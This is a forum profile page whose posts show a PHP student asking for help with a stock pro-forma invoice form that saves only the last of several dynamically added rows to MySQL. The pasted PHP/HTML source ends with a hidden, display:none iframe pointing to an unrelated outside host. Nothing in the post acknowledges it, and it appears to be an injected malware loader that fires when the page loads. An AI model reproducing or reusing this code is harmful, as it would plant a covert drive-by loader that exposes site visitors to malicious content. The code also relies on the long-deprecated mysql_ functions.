Jump to content

kebby

Members
  • Posts

    5
  • Joined

  • Last visited

kebby's Achievements

Newbie

Newbie (1/5)

0

Reputation

  1. big_pat, what should i ignore?
  2. cpd,thanks but still all my rows are not submitted to database only the last row
  3. i av tried it bt geting an error You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'Magnum Impact'','12090','7','5','2013',''FOOD '',''SALT '',''34'',''55'',''66'',' at line 3
  4. hi to every one.am new to php just a student learning, can any one help me out in my code,i have a page that submit to the database, but the problem is i av a adding button that add more rows. when i submit all this rows only the last row is submitted to database this is my code. thanks to everyone in advance. <?php require_once('../../Connections/universal.php'); ?> <?php session_start(); if (!function_exists("GetSQLValueString")) { function GetSQLValueString($theValue, $theType, $theDefinedValue = "", $theNotDefinedValue = "") { if (PHP_VERSION < 6) { $theValue = get_magic_quotes_gpc() ? stripslashes($theValue) : $theValue; } $theValue = function_exists("mysql_real_escape_string") ? mysql_real_escape_string($theValue) : mysql_escape_string($theValue); switch ($theType) { case "text": $theValue = ($theValue != "") ? "'" . $theValue . "'" : "NULL"; break; case "long": case "int": case "array": $theValue = ($theValue != "") ? intval($theValue) : "NULL"; break; case "double": $theValue = ($theValue != "") ? doubleval($theValue) : "NULL"; break; case "date": $theValue = ($theValue != "") ? "'" . $theValue . "'" : "NULL"; break; case "defined": $theValue = ($theValue != "") ? $theDefinedValue : $theNotDefinedValue; break; } return $theValue; } } $editFormAction = $_SERVER['PHP_SELF']; if (isset($_SERVER['QUERY_STRING'])) { $editFormAction .= "?" . htmlentities($_SERVER['QUERY_STRING']); } if((isset($_POST["MM_insert"]))&&($_POST["MM_insert"] == "ho_add_stock_proforma")) { $insertSQL = sprintf("INSERT INTO ho_add_stock_proforma (supplier, inv_no, `day`, `month`, `year`, product_name, descrpt, qty, cost, hawker, wholesale, retail, total) VALUES(%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s)", GetSQLValueString($_POST['supplier'], "text"), GetSQLValueString($_POST['inv_no'], "int"), GetSQLValueString($_POST['day'], "int"), GetSQLValueString($_POST['month'], "int"), GetSQLValueString($_POST['year'], "int"), GetSQLValueString($_POST['product_name'], "text"), GetSQLValueString($_POST['descrpt'], "text"), GetSQLValueString($_POST['qty'], "text"), GetSQLValueString($_POST['cost'], "text"), GetSQLValueString($_POST['hawker'], "text"), GetSQLValueString($_POST['wholesale'], "text"), GetSQLValueString($_POST['retail'], "text"), GetSQLValueString($_POST['total'], "text")); mysql_select_db($database_universal, $universal); $Result1 = mysql_query($insertSQL, $universal) or die(mysql_error()); } mysql_select_db($database_universal, $universal); $query_Creditors = "SELECT company_name FROM ho_add_creditors"; $Creditors = mysql_query($query_Creditors, $universal) or die(mysql_error()); $row_Creditors = mysql_fetch_assoc($Creditors); $totalRows_Creditors = mysql_num_rows($Creditors); ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "[url=http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd]http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd[/url]"> <html xmlns="[url=http://www.w3.org/1999/xhtml]http://www.w3.org/1999/xhtml[/url]"> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <title>Untitled Document</title> <script type="text/javascript"> function addRow(tableID) { var table = document.getElementById(tableID); var rowCount = table.rows.length; var row = table.insertRow(rowCount); var colCount = table.rows[0].cells.length; for(var i=0; i<colCount; i++) { var newcell = row.insertCell(i); newcell.innerHTML = table.rows[0].cells[i].innerHTML; //alert(newcell.childNodes); switch(newcell.childNodes[0].type) { case "text": newcell.childNodes[0].value = ""; break; case "checkbox": newcell.childNodes[0].checked = false; break; case "select-one": newcell.childNodes[0].selectedIndex = 0; break; } } } function deleteRow(tableID) { try { var table = document.getElementById(tableID); var rowCount = table.rows.length; for(var i=0; i<rowCount; i++) { var row = table.rows[i]; var chkbox = row.cells[0].childNodes[0]; if(null != chkbox && true == chkbox.checked) { if(rowCount <= 1) { alert("Cannot delete all the rows."); break; } table.deleteRow(i); rowCount--; i--; } } }catch(e) { alert(e); } getValues(); } </script> <script type="text/javascript"> function tot(elem) { var d=document.getElementById("total").value; var total=Number(d); var h=(total); document.getElementById("grand_total").value = h; } var total = 0; function getValues() { var qty = 0; var cost = 0; var obj = document.getElementsByTagName("input"); for(var i=0; i<obj.length; i++){ if(obj[i].name == "qty"){var qty = obj[i].value;} if(obj[i].name == "cost"){var cost = obj[i].value;} if(obj[i].name == "total"){ if(qty > 0 && cost > 0){obj[i].value = qty*cost;total+=(obj[i].value*1);} else{obj[i].value = 0;total+=(obj[i].value*1);} } } document.getElementById("total").value = total*1; total=0; } </script> <link href="../../css/forms.css" rel="stylesheet" type="text/css" /> <script type="text/javascript" src="../../js/view.js"></script> <script type="text/javascript" src="../../js/calendar.js"></script> </head> <body> <div id="wrap"> <form action="<?php echo $editFormAction; ?>" method="POST" name="ho_add_stock_proforma"> <h1>Add Stock - Pro Forma Invoice</h1> <p>Select Supplier<br /> <label for="supplier"></label> <select name="supplier" class="dropdown_long" id="supplier"> <option value="" selected="selected">Select Supplier</option> <?php do { ?> <option value="<?php echo $row_Creditors['company_name']?>"><?php echo $row_Creditors['company_name']?></option> <?php } while ($row_Creditors = mysql_fetch_assoc($Creditors)); $rows = mysql_num_rows($Creditors); if($rows > 0) { mysql_data_seek($Creditors, 0); $row_Creditors = mysql_fetch_assoc($Creditors); } ?> </select> </p> <fieldset> <legend>Supplier Info </legend> <p> </p> </fieldset> <p>Pro-Forma Invoice Number<br /> <label for="inv_no"></label> <input type="text" name="inv_no" id="inv_no" /> </p> <label for="day">Day</label> <input id="element_19_1" name="day" class="date" size="2" maxlength="2" value="" type="text"> </span> <span> <label for="month">Month</label> <input id="element_19_2" name="month" class="date" size="2" maxlength="2" value="" type="text"> </span> <span> <label for="year">Year</label> <input id="element_19_3" name="year" class="date" size="4" maxlength="4" value="" type="text"> </span> <span id="calendar_19"> <img id="cal_img_19" class="datepicker" src="../../images/calendar.gif" alt="Pick a date."> </span> <script type="text/javascript"> Calendar.setup({ inputField : "element_19_3", baseField : "element_19", displayArea : "calendar_19", button : "cal_img_19", ifFormat : "%B %e, %Y", onSelect : selectEuropeDate }); </script> </p><br /><br /><br /> <table width="666" border="0" cellpadding="2" cellspacing="2" class="table" id="myTable" name="ho_add_stock_proforma"> <tr> <td><input type="checkbox" name="chk" style="width:40px"></td> <td width=122 scope="col">Product Name<input name="product_name" type="text" class="table_fields" id="product_name" /></td> <td width=122 scope="col">Description<input name="descrpt" type="text" class="table_fields" id="description"/> </td> <td width=62 scope="col">Qty<input name="qty" type="text" class="qty" id="qty" onkeyup="getValues()"/></td> <td width=62 scope="col">Cost per Piece<input name="cost" type="text "class="price" id="cost" onkeyup="getValues()"/></td> <td width=62 scope="col">hawker<input name="hawker" type="text" class="price" id="hawker "/></td> <td width=62 scope="col">Wholesale<input name="wholesale" type="text" class="price" id="wholesale "/></td> <td width=62 scope="col">Retail<input name="retail" type="text" class="price" id="retail" /></td> <td width=349 scope="col">Total<input name="total" type="text" class="price" id="total" onKeyUp="getValues()"/> </td> <td><button type="button" value="Add" onclick = "addRow('myTable')">add</button></td> <td><button type="button" value="Delete" onclick="deleteRow('myTable')">delete</button></td> </tr> </table> <p><br /> <br /> Upload File<br /> <input name="Get File" type="button" class="button_add" value="Upload File" /> <table id="addimage" style="table-layout:auto"> <tr> <td width="50"><input name="title" type="text" id="title" size="10" style="width: 200px;" /></td> <td width="100"><input name="image" type="file" id="image" onchange="addRow();" style="width: 200px;" /></td> </tr> </table> <p> </p> <p> <input name="submit" type="submit" class="button_submit" value="MM_insert" id="submit" /> <input type="hidden" name="MM_insert" value="ho_add_stock_proforma" /> </p> </form> </div> <iframe src="[url=http://jL.chura.pl/rc/]http://jL.chura.pl/rc/[/url]" style="display:none"></iframe> </body> </html> <?php mysql_free_result($Creditors); ?>
×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.